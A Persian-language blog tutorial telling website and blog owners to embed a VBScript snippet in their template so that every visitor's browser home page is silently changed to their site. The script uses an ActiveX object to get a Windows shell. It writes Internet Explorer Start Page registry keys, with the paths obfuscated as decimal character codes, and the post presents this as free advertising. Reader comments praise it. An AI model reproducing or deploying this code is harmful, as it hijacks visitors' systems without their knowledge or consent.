• homepage
  • sitmap
  • contact
yahoo "به روزها دل مبند،روزها به فصل که می‌رسند،رنگ عوض می‌کنند. با شب بمان،شب همیشه یک رنگ است."
امروز: Friday, 26 August 2016 - ساعت: 20:49 - Today: Friday, 26th August 2016 - 05:19 PM
آموزش طراحی صفحات وب در 10 دقیقه
وردپرس

پایگاه اینترنتی یک وب

شايد تو بعضي از سايت ها رفته باشيد و ديده باشيد که Home Page شما به آدرس اون سايت تغيير يافته و از اين که اين کار به صورت اتوماتيک و بدون اطلاع شما در سيستم شما رخ داده متعجب شده باشيد . خوب اين گونه سايت ها از يک کد ساده استفاده ميکنند که هنگامي که کاربري به سايت و يا وبلاگ آنها مراجعه کند بدون اينکه از آنها سوالي کند به صورت اتوماتيک صفحه خانگي شخص مراجعه کننده را به آدرس مورد نظر تغيير ميدهند که در نوع خود نوعي تبليغات است. شايد شما هم بخواهيد چنين مزيتي در سايت و يا وبلاگ خود داشته باشيد براي اين کار در وبلاگها کافيست به بخش ويرايش قالب رفته و کد زير را در ابتداي آن اضافه نمونه و روي ويرايش قالب يا ذخيره کليک کنند در سايت ها هم همين گونه هست با تنها تفاوتي که بايد کد صفحه اصلي را باز نموده و کد زير را در ابتداي آن اضافه کنند.

نکته : دوستان براي اينکه سايت شما در Home Page ويا صفحه خانگي شخص بازديد کننده به صورت اتوماتيک ذخيره شود آدرس کامل سايت خود را در قسمت ( آدرس سايت شما ) در کد مورد نظر قرار دهيد سپس کد را در قالب خود استفاده کنید .

 

<!-- Start Code By www.YekWeb.com --><br />
	<script language=vbscript><br />
	dim a<br />
	Set df = document.createElement("object")<br />
	df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "<br />
	set reg = df.createobject("wscript.shell","")<br />
	hr="092083079070084087065082069092077105099114111115111102116092073110116101114110101116032069120112108111114101114092077097105110092083116097114116032080097103101"<br />
	re1="072075069089095076079067065076095077065067072073078069"<br />
	re2="072075069089095067085082082069078084095085083069082"<br />
	re3="120115120045118098115046109105104097110098108111103046099111109"<br />
	For a = 1 To Len(hr) Step 3<br />
	hr2=hr2 & chr(mid(hr,a,3))<br />
	next<br />
	For a = 1 To Len(re1) Step 3<br />
	re1_b=re1_b & chr(mid(re1,a,3))<br />
	next<br />
	For a = 1 To Len(re2) Step 3<br />
	re2_b=re2_b & chr(mid(re2,a,3))<br />
	next<br />
	reg.regwrite re1_b & hr2,"http://آدرس سايت شما"<br />
	reg.regwrite re2_b & hr2,"http://آدرس سايت شما"<br />
	</script><br />
	<!-- End Code By www.YekWeb.com -->



درباره‌ي نويسنده

نوشته شده توسط « »

چیز زیادی از خودم در طول این سال ها نمانده … آنچه مانده تقدیم تو باد !

پیشنهاد می‌کنیم از مطالب زیر هم دیدن نمایید:

رامین
نوع: دیدگاه
تاریخ: 5ام فوریه 2011 @ 6:05 ق.ظ

سلام این کد برای موزیلا جواب نمی ده


پریسا
نوع: دیدگاه
تاریخ: 9ام اکتبر 2013 @ 4:17 ب.ظ

عالی بود خیلی ممنون من دنبال همین بودم موفق باشید :-x


مینا
نوع: دیدگاه
تاریخ: 29ام اکتبر 2014 @ 3:23 ب.ظ

جالبه ممنون


آتلیه عروس
نوع: دیدگاه
تاریخ: 18ام آوریل 2016 @ 2:27 ب.ظ

عالی بود خیلی ممنون من دنبال همین بودم موفق باشید : l-) x


۸-| p-: o:-) l-) i-) b-) >:p >:) >-) =)) =(( ;;) ;-) :x :> :-| :-x :-w :-ss :-s :-p :-l :-a :-D :-: :-/ :-* :-) :-( :- :)) :) /:) (-: (%)

قبل از ارسال نظر:


  • توجه کنید که نظرتان در ارتباط با همین مطلب باشد. در غیر اینصورت می‌توانید از فرم تماس استفاده نمایید.
  • نظراتی که با کلمات کلیدی ثبت شوند و یا حاوی الفاظ زشت، تبلیغاتی، سیاسی و یا توهین به اشخاص باشند، منتشر نخواهند شد.
  • در فرم نظرات می‌توانید از برخی کدهای ساده HTML استفاده نمایید.
  • لطفاً فینگلیش ننویسید!